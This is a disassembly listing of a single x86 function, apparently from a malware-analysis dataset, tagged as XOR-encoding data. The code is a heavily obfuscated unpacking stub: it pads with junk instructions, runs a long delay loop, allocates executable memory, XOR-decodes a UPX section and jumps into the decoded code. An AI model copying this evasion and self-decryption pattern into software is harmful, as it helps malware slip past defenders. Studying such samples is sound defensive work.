Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x70a9a0f4
mov esi, ebx
sub ebx, esi
popal
mov ebx, 0xcd317970
or ebx, ebx
mov ebx, 0x80df6a73
mov edx, 0
mov ecx, eax
or ebx, edi
inc ebx
or edi, ebx
mov esi, ecx
and edi, ebx
dec edi
mov eax, esi
add ebx, edi
mov edi, 0x7ff312f0
mov edi, ebx
inc edx
sub edi, 0x7462a160
or ebx, ebx
add edi, 0x6908e761
cmp edx, 0x100acde
jne 0x47b450
not edi
sub ebx, edi
mov ebx, 0x43d891fe
add esi, ebx
mov ebx, 0x58a8a41a
mov ebx, esi
mov ebx, 0x47b21e
and ecx, edx
not ecx
sub ecx, edx
mov eax, 0x47b412
sub ecx, edx
sub edx, 0x132b28b
mov edi, ecx
mov esi, dword [ebx]
add ecx, ecx
mov edi, edx
sub ecx, 1
and esi, 0xff
mov edi, ecx
and edi, edi
xor dword [eax], esi
mov edx, 0x5c555955
inc ecx
inc eax
sub edi, edx
sub edx, edi
add ebx, 1
sub ecx, 0xe70deb94
or ecx, edi
inc edi
cmp eax, entry0
jl 0x47b4ae
and ecx, ecx
inc edx
sub ecx, edx
mov ecx, edi
dec edx
or edi, edi
not ebx
add ebx, 1
add ebx, 0xb142a6e4
mov edi, 0x47b416
and edx, ebx
or ecx, edx
mov edi, dword [edi]
add ebx, ecx
and ebx, ebx
dec esi
mov edi, dword [edi]
sub ebx, esi
add ecx, 0x176a5669
push edi
inc ebx
and ebx, ebx
mov edi, 0x47b412
not ecx
mov edx, esi
mov edi, dword [edi]
add edx, 0x76618034
mov esi, 0x3aa5884
add ebx, 0x557d8f7
mov edi, dword [edi]
and ebx, esi
and esi, ecx
push 0x47b41a
add ecx, esi
mov edx, 0x65a7c7f9
add esi, 0xcdc2f022
call edi
add ecx, 1
and ebx, ebx
not esi
pop edi
mov ecx, 0xab98149
not edx
inc ecx
push 0x47b427
not ecx
add ebx, 0xb760798b
push eax
add ecx, esi
sub esi, 0x27d6618e
call edi
sub ebx, edx
not ebx
push 0x40
add edx, ebx
mov esi, 0x784ebad5
push 0x3000
mov edx, 0x4715ce63
not ecx
add ecx, ebx
push 0x20000c0b
sub ebx, edx
inc esi
sub esp, 4
mov dword [esp], 0
or ebx, ebx
add esi, 0x7512a6b0
add ecx, 0xc2e94c4
call eax
inc ecx
sub edx, esi
add eax, 0x20000b7b
or esi, edx
mov edx, ebx
add edx, 0x6ef202c5
mov edi, 0x2dc0ce79
sub edx, 0xa005cfe8
mov esi, ebx
mov dword [eax], edi
add ecx, esi
inc edx
mov edi, dword [eax]
and esi, ebx
or ebx, edx
sub edx, 0x90dc23b6
cmp edi, 0x2dc0ce79
je 0x47b603
mov ecx, 0
mov ebx, dword [ecx]
mov edx, ecx
add edx, esi
add esi, ecx
not esi
add ebx, esi
add ebx, 1
inc esi
mov ecx, section.UPX1
sub ebx, 0x7da5d83c
not esi
mov edi, 0x47b21d
mov ebx, 0xcd1fb134
or ebx, ebx
mov ebx, esi
mov edx, 0
or esi, esi
add ebx, esi
add ebx, 0xfa49caa5
mov eax, 0x47b21e
sub esi, ebx
inc esi
lea eax, [edx + eax]
sub ebx, esi
or ebx, esi
mov eax, dword [eax]
and ebx, esi
dec ebx
and eax, 0xff
mov esi, 0x45c46e99
sub esi, ebx
inc edx
sub esi, 1
and esi, esi
add ebx, 0xbcbb96ca
cmp edx, 0x1f4
jne 0x47b67b
mov edx, 0
add ebx, 0xaaece857
add ebx, 0x252187e3
and ebx, esi
add ebx, 0x332a2083
mov ebx, esi
xor dword [ecx], eax
add esi, ebx
add ebx, 1
add ecx, 2
add ebx, 0xe2364819
add ebx, esi
and ebx, ebx
cmp ecx, edi
jl 0x47b63e
and ebx, ebx
not ebx
inc ebx
or ebx, esi
sub ebx, 0xd7d29caf
mov edx, section.UPX1
mov esi, edi
sub edi, esi
or edi, esi
mov ecx, section.UPX1
and esi, esi
sub esi, 1
mov esi, 0x5b65acf3
mov eax, 0x47b21d
not edi
sub edi, 0xd0572ac8
mov ebx, 0
sub esi, edi
or edi, edi
mov bl, byte [ecx]
sub edi, 0x9fd5f9fa
add esi, edi
or esi, edi
mov byte [edx], bl
add edi, edi
not esi
mov edi, 0x43adc597
add edx, 1
mov esi, edi
mov edi, esi
and edi, esi
add ecx, 2
inc esi
dec esi
cmp ecx, eax
jle 0x47b6f3
add esi, edi
add edi, 0xc1ba6d3c
mov ebx, 0x3b05dc5b
inc ebx
sub esp, 4
mov dword [esp], 0x45e6a0
not esi
mov esi, ebx
ret